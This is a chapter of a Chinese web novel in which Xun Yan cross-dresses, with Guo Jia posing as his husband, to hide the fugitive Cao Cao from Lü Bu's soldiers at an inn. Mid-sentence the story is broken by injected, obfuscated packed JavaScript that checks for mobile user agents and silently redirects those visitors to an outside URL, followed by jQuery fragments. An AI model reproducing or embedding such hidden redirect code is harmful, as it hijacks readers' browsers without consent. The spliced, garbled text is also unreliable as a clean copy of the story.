一片混乱中,两道身影穿过庭院,避开乱糟糟的家仆与卫兵,悄无声息地从后门溜了出去。
洛阳城的夜色,深沉如墨。
郭嘉将一件斗篷披在荀衍身上,遮住那身显眼的道袍。
二人借着夜色,七拐八绕,很快便将那身碍事的道袍丢进了无人问津的暗巷。
荀衍与郭嘉寻到一间偏僻的成衣铺,铺子很小,只有一个须发皆白、老眼昏花的老店主,正趴在柜台上打盹。
郭嘉上前,轻轻叩了叩柜台。
店主抬起头,眯着眼打量了他们半晌,才慢吞吞地站起身。
“二位客人,要点什么?”
“随便来几件寻常的成衣,换洗用。”郭嘉的声音压得很低。
店主从货架上取下几件长袍,布料粗糙,做工也寻常。他将衣服递过来,浑浊的眼睛在两人身上扫了扫,目光落在被郭嘉半护在身后的荀衍身上。
“这位郎君,不为你夫人也挑一件?”
郭嘉一怔,顺着店主的目光看去。荀衍身形清瘦,又因体力消耗过度,脸色比平日里更白几分,唇色也淡。他微微垂着头,长长的睫毛在眼下投下一片阴影,确有几分羸弱之态。
夫人?
郭嘉的嘴角,控制不住地向上弯起。
“是,是我疏忽了。”他一本正经地点头,声音里带上了几分宠溺,“我夫人身子弱,吹不得风。老丈,可有料子好些的?”
荀衍的眉梢动了动,正要开口。
郭嘉却快他一步,侧过身,凑到他耳边,温热的气息拂过耳廓。“夫人莫急,出门在外,身份不便。等回了家,再给你裁制新衣。”
荀衍:“……”
为了伪装身份,他选择闭嘴。
店主从里屋翻找出一套湖绿色的襦裙,料子是时下流行的细麻,“这件是给我孙女做的,还没上身,客官若不嫌弃……”
“就要这件。”郭嘉又指了指挂在墙上的一件厚实的披风,“这个,也一并包起来。”
他付了钱,接过包裹,很自然地将那件披风展开,披在了荀衍身上,仔细地系好带子。
二人换好衣衫,刚走出成衣铺,街道的气氛便陡然一变。
“咣当——”
坊市入口的栅门被重重合上,一队队披坚执锐的西凉兵从街头巷尾涌出,动作粗暴地驱赶着行人。
“全城戒严!搜捕刺客!”
一队西凉兵策马冲过,粗暴地推开挡路的行人。“董太尉有令,有刺客逃窜,封锁所有城门,挨家挨户搜查!有知情不报者,同罪!”
有人刺杀董卓?
荀衍与郭嘉对视一眼,都在对方眼中看到了凝重。
看来,一时半会儿是走不成了。
两人随着人流,拐进一条小巷,寻了家最不起眼的客栈住下。
房间狭小,陈设简陋。
“你先歇着,我去让小二送些热水和吃食来。”郭嘉扶着荀衍在床边坐下。这一路折腾,他能感觉到荀衍的身体几乎到了极限,好几次都是靠在自己身上,才勉强站稳。
“小心。”荀衍将帷帽摘下,脱下外衣躺倒在床上,他为了蹭体力值,夸张了些,实际上没那么严重。
郭嘉带上门,脚步声渐渐远去。
房间内恢复了寂静,只剩下荀衍自己清浅的呼吸声。
忽然,头顶的房梁上传来一声极其轻微的木板摩擦声。
荀衍的眼睛,倏然睁开。
他没有动,只是目光上移,看向那根积满灰尘的横梁。
昏暗的光线下,一道人影蜷缩在房梁与屋顶的夹角中,与阴影几乎融为一体。若非方才那一点异响,根本无从察觉。
那人似乎也发现自己暴露了,身体有瞬间的僵硬。
四目相对。
荀衍看清了那张脸,方正,坚毅,眼神锐利如鹰,正是当日在救援济南前有过一面之缘的曹操。
两人都保持着诡异的沉默,一个躺在榻上,一个伏在梁上,气氛凝滞。
就在这时。
“咚!咚!咚!”
粗暴的砸门声,打破了这死一般的寂静。
“开门!奉太尉令,搜查刺客!”门外,是西凉兵嚣张的叫嚷。
荀衍的心跳漏了一拍。
他看了一眼房梁上的曹操,曹操也正看着他,眼神中带着询问与戒备。
他看了一眼房梁,又看了一眼紧闭的房门,没有一丝犹豫,立刻翻身下床,抓起床边那套湖绿色襦裙,飞快地套在了自己身上。
房梁上的曹操,眼珠子都快瞪出来了。
荀衍……穿上了女装?
荀衍没空理会他的震惊,他理了理裙摆,深吸一口气,走过去拉开了房门。
门外,寒光一闪,一把环首刀的刀尖,直直刺向他的面门。
“锵!”
一声金属交击的脆响。
一杆画戟从旁侧伸出,精准地格开了那把刀。画戟的主人身形异常高大,一身兽面吞头连环铠,衬得他如天神下凡。
“退下。”他的声音,沉闷而威严。
那名西凉兵悻悻地收回刀。
吕布转过头,看向门内的荀衍,那双总是带着几分桀骜的眼睛里,闪过一丝不易察呈的惊艳。他放缓了声音,问道:“姑娘,你没事吧?”
荀衍心中一动,呼唤系统调查对方的信息。
【人物:吕布,字奉先。】
他立刻垂下眼帘,身体微微发抖,露出一副惊魂未定的模样,声音又细又软,带着恰到好处的怯意:“多……多谢将军救命之恩。”
吕布的目光落在他身上,见他身形纤弱,面色苍白,一副受惊不小的样子,眉头微不可察地松动了些。
“姑娘不必惊慌,我等只是奉命搜查刺客。”
“刺客?”荀衍抬起头,那双清亮的眼睛里满是纯粹的茫然与崇拜,“将军神勇,定能将那贼人手到擒来。方才将军出手,快如闪电,民女从未见过如此惊人的身手。怕不是只有那大汉第一勇武的吕奉先将军才能媲美。”
这记恰到好处的马屁,拍得吕布通体舒泰。
他身后的亲兵听了,忍不住大笑出声:“哈哈哈,姑娘你可猜对了,这位便是我家将军,吕布吕奉先!”
“啊?”
荀衍像是被这巨大的名头惊到,随即脸上飞起两抹红晕,一副既崇拜又自觉失言的羞窘模样。他跺了跺脚,像是没脸见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250217|197113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人一般,飞快地将门关上大半,身子也躲在门后,彻底挡住了房梁上的曹操。
房梁之上,曹操将这一切尽收眼底。
厉害。
这荀家六郎,一番唱念做打,自然而然就将要搜查的士兵挡在门外。
吕布的虚荣心得到了极大满足,胸膛都挺高了几分。他看着那扇紧闭的门扉,竟觉得有些意犹未尽。
就在此时,一道身影从楼梯口走上来,手中还提着一个食盒。
那人看到一群兵士围在房门口,脚步一顿,脸色瞬间沉了下去。
“你们围着我夫人做什么?”
郭嘉的声音带着一股冷冽的质询。他将食盒换到左手,右手已经按在了腰间的剑柄上。
房梁上的曹操身形一僵,差点没绷住从上面翻下来。
夫人?
他拼命忍住探头去看郭嘉表情的冲动,好不容易才将笑意憋了回去。
吕布闻声转头,目光锐利地打量着郭嘉。
“这是你夫君?”他问的是门后的荀衍。
门被拉开,荀衍探出头,看见郭嘉,那双清亮的眸子里立刻泛起安心的依赖。
他很自然地挽住走到近前的郭嘉的手臂,对着吕布露出一个甜蜜的笑。
“是的,这是我夫君。”
他侧头,仰脸看着郭嘉,语气里带上了几分后怕与委屈。
“夫君,你方才不在,我开门险些被刀锋所伤,是这位吕将军救了我。”
郭嘉听完,看向吕布的眼神缓和了些,却依旧带着警惕。他将荀衍往自己身后又拉了拉,对着吕布拱了拱手。
“原来如此,失敬。多谢将军援手,在下感激不尽。为表谢意,我做东,请将军与诸位兄弟在楼下吃顿便饭,如何?”
“不必了。”吕布摆摆手,他今日的主要任务是捉拿刺客曹操,没工夫在此耽搁。
他转身,大步向楼梯口走去。
走到拐角处,他脚步一顿,下意识地回头看了一眼。
只见那对年轻夫妻正站在门口低语。郭嘉正拉着对方的手,轻轻拍了拍,像是在安抚受惊的妻子。
而后,他很自然地伸臂,揽着那纤细的腰肢,将人带进了房门。
整个动作行云流水,亲昵无间,一看便是新婚燕尔。
“将军?”亲兵见吕布不动,轻声唤了一句。
吕布这才收回目光,继续往前走,大步流星地离开了客栈。
“砰。”
房门关上,落了锁。
房间内,荀衍第一时间抬头看向房梁。
郭嘉顺着他的目光望去,脸上没有半分惊讶。显然,他进门时就猜到了。
一道身影从房梁上一跃而下,轻巧落地,正是曹操。
他脸上那股憋不住的笑意,怎么也藏不住。
“多谢二位相助。”曹操对着两人抱了抱拳,嘴上说着感谢,眼神却在荀衍那身女装和郭嘉之间来回打转。
“只是没想到,我曹孟德当年竟是看走了眼。原来荀六公子,竟是位姑娘家。”他啧啧两声,一脸促狭,“不知二位是何时成的婚?孟德未能讨上一杯喜酒也就罢了,此事若是让元让知道了,他可要不依不饶了。”